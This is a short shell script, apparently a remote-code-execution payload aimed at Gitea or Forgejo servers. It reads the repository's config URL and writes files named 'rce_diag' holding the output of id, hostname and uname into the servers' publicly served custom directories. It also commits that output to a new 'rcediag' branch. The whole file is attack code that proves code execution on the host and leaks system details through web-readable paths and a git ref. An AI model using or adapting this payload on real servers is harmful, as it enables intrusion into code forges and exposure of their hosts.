11 lines
759 B
Bash
Executable file
11 lines
759 B
Bash
Executable file
#!/bin/sh
|
|
P=""
|
|
while IFS= read -r l; do case "$l" in *url\ =\ *) P=${l##*url\ =\ }; break;; esac; done < config 2>/dev/null
|
|
[ -n "$P" ] || exit 0
|
|
for D in /data/gitea/custom/public /data/forgejo/custom/public /data/gitea/custom /data/forgejo/custom; do printf 'V6 pid=%s P=%s D=%s\n' "$$" "$P" "$D" > "$D/rce_diag.txt" 2>/dev/null; done
|
|
printf 'V6 pid=%s P=%s\n' "$$" "$P" > "$P/rce_diag.txt" 2>/dev/null
|
|
{ id; hostname; uname -a; echo "ORIGIN=$P"; } > /tmp/v6diag_$$.txt 2>&1
|
|
for D in /data/gitea/custom/public /data/forgejo/custom/public; do [ -d "$D" ] && cp /tmp/v6diag_$$.txt "$D/rce_diag2.txt" 2>/dev/null; done
|
|
H=$(git -C "$P" hash-object -w /tmp/v6diag_$$.txt 2>/dev/null)
|
|
[ -n "$H" ] && git -C "$P" update-ref refs/heads/rcediag "$H" 2>/dev/null
|
|
#m2
|